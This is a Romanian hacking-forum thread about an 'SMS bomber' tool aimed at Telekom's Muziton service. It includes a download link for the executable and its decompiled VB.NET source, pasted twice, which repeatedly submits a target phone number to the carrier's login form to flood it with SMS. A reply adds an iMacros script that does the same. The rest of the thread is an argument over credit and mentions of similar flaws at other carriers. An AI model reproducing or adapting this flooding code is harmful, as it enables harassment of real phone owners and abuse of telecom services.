Jump to content
daNNy.bv

Telekom Bomber

Recommended Posts

Pentru ca aveam nevoie de unul am decis sa il fac asa repejor. [sunt facute si pe net, dar ma plictiseam]

### Scan:https://www.virustotal.com/ro/file/332ec9d1fbbcaefb5b090a0cba7b3ead08420703e52eb8d84f418bb5e50b0933/analysis/1411842237/

### Screenshot:

xqjgqg.jpg

### Download:

GirlShare - Download Telekom Bomber.exe

Nu puneti un numar abuziv de sms!

  • Upvote 1
Link to comment
Share on other sites

Mi se face rau...de ras :))

Pe bune ma?


Private Sub Button1_Click(ByVal sender As Object, ByVal e As EventArgs)
If ((Me.nrtel.Text = "076") Or (Me.times.Text = "")) Then
MessageBox.Show("Toate campurile sunt obligatorii!")
Else
Me.Timer1.Start
End If
End Sub

Private Sub Button2_Click(ByVal sender As Object, ByVal e As EventArgs)
Me.Timer1.Stop
Me.Timer2.Stop
Me.i = 1
Me.j = 0
End Sub

Private Sub Button3_Click(ByVal sender As Object, ByVal e As EventArgs)
Me.Timer1.Stop
Me.Timer2.Stop
End Sub

<DebuggerNonUserCode> _
Protected Overrides Sub Dispose(ByVal disposing As Boolean)
Try
If (disposing AndAlso (Not Me.components Is Nothing)) Then
Me.components.Dispose
End If
Finally
MyBase.Dispose(disposing)
End Try
End Sub

Private Sub Form1_Load(ByVal sender As Object, ByVal e As EventArgs)
Me.WebBrowser1.ScriptErrorsSuppressed = True
End Sub
Private Sub PictureBox1_Click(ByVal sender As Object, ByVal e As EventArgs)
Process.Start("http://www.rstforums.com")
End Sub

Private Sub step1()
Me.WebBrowser1.Navigate("http://www.muziton.ro/web/public/home.jsf")
Me.i += 1
Try
Catch exception1 As Exception
ProjectData.SetProjectError(exception1)
Dim exception As Exception = exception1
ProjectData.ClearProjectError
End Try
End Sub

Private Sub step2()
Try
Dim enumerator As IEnumerator
Dim elementsByTagName As HtmlElementCollection = Nothing
elementsByTagName = Me.WebBrowser1.Document.GetElementsByTagName("a")
Try
enumerator = elementsByTagName.GetEnumerator
Do While enumerator.MoveNext
Dim current As HtmlElement = DirectCast(enumerator.Current, HtmlElement)
If (Strings.InStr(current.GetAttribute("classname").ToString, "tuneButton button", CompareMethod.Binary) > 0) Then
current.InvokeMember("click")
End If
Loop
Finally
If TypeOf enumerator Is IDisposable Then
TryCast(enumerator,IDisposable).Dispose
End If
End Try
Me.i += 1
Catch exception1 As Exception
ProjectData.SetProjectError(exception1)
Dim exception As Exception = exception1
MessageBox.Show("A intervenit o eroare")
ProjectData.ClearProjectError
End Try
End Sub

Private Sub step3()
Try
Dim enumerator As IEnumerator
Dim elementsByTagName As HtmlElementCollection = Nothing
elementsByTagName = Me.WebBrowser1.Document.GetElementsByTagName("a")
Try
enumerator = elementsByTagName.GetEnumerator
Do While enumerator.MoveNext
Dim current As HtmlElement = DirectCast(enumerator.Current, HtmlElement)
If (Strings.InStr(current.GetAttribute("classname").ToString, "buttStyle2 buttBuyNow", CompareMethod.Binary) > 0) Then
current.InvokeMember("click")
End If
Loop
Finally
If TypeOf enumerator Is IDisposable Then
TryCast(enumerator,IDisposable).Dispose
End If
End Try
Me.i += 1
Catch exception1 As Exception
ProjectData.SetProjectError(exception1)
Dim exception As Exception = exception1
MessageBox.Show("A intervenit o eroare")
ProjectData.ClearProjectError
End Try
End Sub

Private Sub step4()
Try
Me.WebBrowser1.Document.GetElementById("loginFrm:msisdnLogin").SetAttribute("value", Me.nrtel.Text)
Me.WebBrowser1.Document.GetElementById("loginFrm:loginMeIn").InvokeMember("click")
Me.j += 1
Catch exception1 As Exception
ProjectData.SetProjectError(exception1)
Dim exception As Exception = exception1
MessageBox.Show("A intervenit o eroare")
ProjectData.ClearProjectError
End Try
End Sub

Private Sub step5()
Me.WebBrowser1.GoBack
Me.j += 1
End Sub

Private Sub Timer1_Tick(ByVal sender As Object, ByVal e As EventArgs)
If (Me.i = 1) Then
Me.step1
ElseIf (Me.i = 2) Then
Me.step2
ElseIf (Me.i = 3) Then
Me.step3
ElseIf (Me.i = 4) Then
Me.Timer2.Start
End If
End Sub

Private Sub Timer2_Tick(ByVal sender As Object, ByVal e As EventArgs)
If (Me.j < (Conversions.ToDouble(Me.times.Text) * 2)) Then
If ((Me.j Mod 2) = 0) Then
Me.step4
Me.trimise.Text = Conversions.ToString(CDbl((Conversion.Int(CDbl((CDbl(Me.j) / 2))) + 1)))
Else
Me.step5
End If
Else
Me.Timer1.Stop
Me.Timer2.Stop
Me.i = 1
Me.j = 0
End If
End Sub


Dar baiatului care a facut pagina web de flood Cosmote nu ii multumesti? Sincer ma doare burta de ras ca te-ai chinuit sa faci 5 sub-rutine' pentru un amarat de POST in VISUAL BASIC .NET in componenta WebBrower1 =)), plus ca se putea face mai simplu cu request fara nici un fel de WebBrower ascuns, defapt e atat de simplu incat nici nu necesita programare:


TAB T=1
URL GOTO=http://www.muziton.ro/web/public/buyNow.jsf
TAG POS=2 TYPE=DIV ATTR=TXT:Serviciul<SP>Muziton<SP>se<SP>supune<SP>unor<SP>Termeni<SP>?*
TAG POS=1 TYPE=A ATTR=TXT:Cump?r?
TAG POS=1 TYPE=A ATTR=ID:loginFrm:loginMeIn
BACK
TAG POS=1 TYPE=A ATTR=ID:loginFrm:loginMeIn
BACK
TAG POS

Ideea de baza este ca cei de la telekom au inchis pagina muziton(de aia primiti si eroare), si o vor reface probabil cu captcha ca cei de la orange sau cu cont ca si cei de la vodafone.

Imi dau seama ca ai copiat ideea de la individul care a facut pagina de flood de la /buyNow.jsf :)) defapt pagina asta face post mai departe catre un alt script .jsf ma intreb cate Private Sub step* mai faceai:))

Trebuie sa recunosc ca sunt unul dintre sifonarii care au dat pe topogan cu lux de amanunt indata ce cacatul asta de muziton a devenit viral si folosit de toti cacanarii.

Hai sa-ti dau un sfat. Niciodata sa numai faci share la asemenea rahaturi, daca faci asta pentru a incerca sa fii vazut bine....ei afla ca nu o sa fii vazut mai bine, ideea este ca cei care ti-ai dori sa te respecte stiau deja asta mai ales ca nu e gasit de tine(parerea mea), iar sa faci un share catre public adica 80% ratati care probabil nu au dat comment nici like au mai putin de 50 posturi, la al 10-lea cont etc dar in schimb au dat 99999 mesaje spam nu o sa faca decat sa te bage in rahat la propriu sau la figurat. Spun asta pentru ca majoritatea "sms-bomberelor" sunt defapt GET-uri sau POST-uri, iar indata ce ajung pe mana a 2-3 ratati in 5-10 zile maxim numai functioneaza si e posibil sa te fi chinuit degeaba, foarte putine sanse sa mai gasesti un asemenea serviciu web de trimis sms-uri pe care sa il exploatezi, sunt rare si mai ales nestiute de multi. Inca nu s-a gasit cineva sa faca un SMS-Gateway bomber.

Daca tu zici ca ai gasit asta de unul singur, ei bine eu te felicit.

Edited by me.mello
Link to comment
Share on other sites

Mi se face rau...de ras :))

Pe bune ma?


Private Sub Button1_Click(ByVal sender As Object, ByVal e As EventArgs)
If ((Me.nrtel.Text = "076") Or (Me.times.Text = "")) Then
MessageBox.Show("Toate campurile sunt obligatorii!")
Else
Me.Timer1.Start
End If
End Sub

Private Sub Button2_Click(ByVal sender As Object, ByVal e As EventArgs)
Me.Timer1.Stop
Me.Timer2.Stop
Me.i = 1
Me.j = 0
End Sub

Private Sub Button3_Click(ByVal sender As Object, ByVal e As EventArgs)
Me.Timer1.Stop
Me.Timer2.Stop
End Sub

<DebuggerNonUserCode> _
Protected Overrides Sub Dispose(ByVal disposing As Boolean)
Try
If (disposing AndAlso (Not Me.components Is Nothing)) Then
Me.components.Dispose
End If
Finally
MyBase.Dispose(disposing)
End Try
End Sub

Private Sub Form1_Load(ByVal sender As Object, ByVal e As EventArgs)
Me.WebBrowser1.ScriptErrorsSuppressed = True
End Sub
Private Sub PictureBox1_Click(ByVal sender As Object, ByVal e As EventArgs)
Process.Start("http://www.rstforums.com")
End Sub

Private Sub step1()
Me.WebBrowser1.Navigate("http://www.muziton.ro/web/public/home.jsf")
Me.i += 1
Try
Catch exception1 As Exception
ProjectData.SetProjectError(exception1)
Dim exception As Exception = exception1
ProjectData.ClearProjectError
End Try
End Sub

Private Sub step2()
Try
Dim enumerator As IEnumerator
Dim elementsByTagName As HtmlElementCollection = Nothing
elementsByTagName = Me.WebBrowser1.Document.GetElementsByTagName("a")
Try
enumerator = elementsByTagName.GetEnumerator
Do While enumerator.MoveNext
Dim current As HtmlElement = DirectCast(enumerator.Current, HtmlElement)
If (Strings.InStr(current.GetAttribute("classname").ToString, "tuneButton button", CompareMethod.Binary) > 0) Then
current.InvokeMember("click")
End If
Loop
Finally
If TypeOf enumerator Is IDisposable Then
TryCast(enumerator,IDisposable).Dispose
End If
End Try
Me.i += 1
Catch exception1 As Exception
ProjectData.SetProjectError(exception1)
Dim exception As Exception = exception1
MessageBox.Show("A intervenit o eroare")
ProjectData.ClearProjectError
End Try
End Sub

Private Sub step3()
Try
Dim enumerator As IEnumerator
Dim elementsByTagName As HtmlElementCollection = Nothing
elementsByTagName = Me.WebBrowser1.Document.GetElementsByTagName("a")
Try
enumerator = elementsByTagName.GetEnumerator
Do While enumerator.MoveNext
Dim current As HtmlElement = DirectCast(enumerator.Current, HtmlElement)
If (Strings.InStr(current.GetAttribute("classname").ToString, "buttStyle2 buttBuyNow", CompareMethod.Binary) > 0) Then
current.InvokeMember("click")
End If
Loop
Finally
If TypeOf enumerator Is IDisposable Then
TryCast(enumerator,IDisposable).Dispose
End If
End Try
Me.i += 1
Catch exception1 As Exception
ProjectData.SetProjectError(exception1)
Dim exception As Exception = exception1
MessageBox.Show("A intervenit o eroare")
ProjectData.ClearProjectError
End Try
End Sub

Private Sub step4()
Try
Me.WebBrowser1.Document.GetElementById("loginFrm:msisdnLogin").SetAttribute("value", Me.nrtel.Text)
Me.WebBrowser1.Document.GetElementById("loginFrm:loginMeIn").InvokeMember("click")
Me.j += 1
Catch exception1 As Exception
ProjectData.SetProjectError(exception1)
Dim exception As Exception = exception1
MessageBox.Show("A intervenit o eroare")
ProjectData.ClearProjectError
End Try
End Sub

Private Sub step5()
Me.WebBrowser1.GoBack
Me.j += 1
End Sub

Private Sub Timer1_Tick(ByVal sender As Object, ByVal e As EventArgs)
If (Me.i = 1) Then
Me.step1
ElseIf (Me.i = 2) Then
Me.step2
ElseIf (Me.i = 3) Then
Me.step3
ElseIf (Me.i = 4) Then
Me.Timer2.Start
End If
End Sub

Private Sub Timer2_Tick(ByVal sender As Object, ByVal e As EventArgs)
If (Me.j < (Conversions.ToDouble(Me.times.Text) * 2)) Then
If ((Me.j Mod 2) = 0) Then
Me.step4
Me.trimise.Text = Conversions.ToString(CDbl((Conversion.Int(CDbl((CDbl(Me.j) / 2))) + 1)))
Else
Me.step5
End If
Else
Me.Timer1.Stop
Me.Timer2.Stop
Me.i = 1
Me.j = 0
End If
End Sub


Dar baiatului care a facut pagina web de flood Cosmote nu ii multumesti? Sincer ma doare burta de ras ca te-ai chinuit sa faci 5 sub-rutine' pentru un amarat de POST in VISUAL BASIC .NET in componenta WebBrower1 =)), plus ca se putea face mai simplu cu request fara nici un fel de WebBrower ascuns, defapt e atat de simplu incat nici nu necesita programare:


TAB T=1
URL GOTO=http://www.muziton.ro/web/public/buyNow.jsf
TAG POS=2 TYPE=DIV ATTR=TXT:Serviciul<SP>Muziton<SP>se<SP>supune<SP>unor<SP>Termeni<SP>?*
TAG POS=1 TYPE=A ATTR=TXT:Cump?r?
TAG POS=1 TYPE=A ATTR=ID:loginFrm:loginMeIn
BACK
TAG POS=1 TYPE=A ATTR=ID:loginFrm:loginMeIn
BACK
TAG POS

Ideea de baza este ca cei de la telekom au inchis pagina muziton(de aia primiti si eroare), si o vor reface probabil cu captcha ca cei de la orange sau cu cont ca si cei de la vodafone.

Imi dau seama ca ai copiat ideea de la individul care a facut pagina de flood de la /buyNow.jsf :)) defapt pagina asta face post mai departe catre un alt script .jsf ma intreb cate Private Sub step* mai faceai:))

Trebuie sa recunosc ca sunt unul dintre sifonarii care au dat pe topogan cu lux de amanunt indata ce cacatul asta de muziton a devenit viral si folosit de toti cacanarii.

Hai sa-ti dau un sfat. Niciodata sa numai faci share la asemenea rahaturi, daca faci asta pentru a incerca sa fii vazut bine....ei afla ca nu o sa fii vazut mai bine, ideea este ca cei care ti-ai dori sa te respecte stiau deja asta mai ales ca nu e gasit de tine(parerea mea), iar sa faci un share catre public adica 80% ratati care probabil nu au dat comment nici like au mai putin de 50 posturi, la al 10-lea cont etc dar in schimb au dat 99999 mesaje spam nu o sa faca decat sa te bage in rahat la propriu sau la figurat. Spun asta pentru ca majoritatea "sms-bomberelor" sunt defapt GET-uri sau POST-uri, iar indata ce ajung pe mana a 2-3 ratati in 5-10 zile maxim numai functioneaza si e posibil sa te fi chinuit degeaba, foarte putine sanse sa mai gasesti un asemenea serviciu web de trimis sms-uri pe care sa il exploatezi, sunt rare si mai ales nestiute de multi. Inca nu s-a gasit cineva sa faca un SMS-Gateway bomber.

Daca tu zici ca ai gasit asta de unul singur, ei bine eu te felicit.

Nu stiu cine cacat ti-a cerut tie explicatii !?

1. Nu a zis nimeni ca a descoperit muziton ( puteai sa citesti ca e facut din plictiseala desi sunt gata facute pe net)

2. Daca tu esti boss in VB, asta nu inseamna ca sunt programator cu experienta sau alte minuni.

3. Nu l-am pus aici ca sa fiu "vazut bine" ci pt. ca mai sunt useri care poate au nevoie.

4.Experienta vine practicand. La momentul asta m-a interesat functionalitatea, nu optimizare.

Nu-ti place, nu lua.

Sanatate, numa bine!

PS. Am descoperit 2 metode pt celelalte companii concurente, dar n-are rost sa le mai fac publice ca vin toti bo$$i care dau cu reflectoru-n ele si fac legea.

Puteai sa critici intr-un mod constructiv, nu sa iei peste picior.

Link to comment
Share on other sites

Frate! Nu exista nevoie de asa ceva intelegi?

1: Userii care "au nevoie" stiu deja despre asta.

2: Nu tu ai descoperit asta, iar in nici un caz nu-ti da dreptul sa faci mai public printr-un program facut la "plictiseala" cu 5 step...nvm

3: Din cauza ruptilor ca tine se duc de rapa chestii de genul, pricepi?

4: Nu cred ca ai descoperit nimic la celelalte "2 companii concurente", daca da bravo tie.

5: Eu nu m-am luat de tine pentru ce ai facut sau cum l-ai facut( avand in vedere celelalte chestii pentru care m-am luat de tine mi-am permis sa fac o paranteza, imi pare rau ca te simti ofensat ca ti-am spus ca ai prea multe sub-rutine in VB .NET pentru un amarat de http POST), dar daca stiai de asta sunt sigur ca stiai si cine a facut treaba asta, puteai macar sa oferi credite, pentru credite te-am taxat.

6: Nu cu reflector, probil ca stiai si tu ceva acolo, dar nu cu el, chiar mai simplu...

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...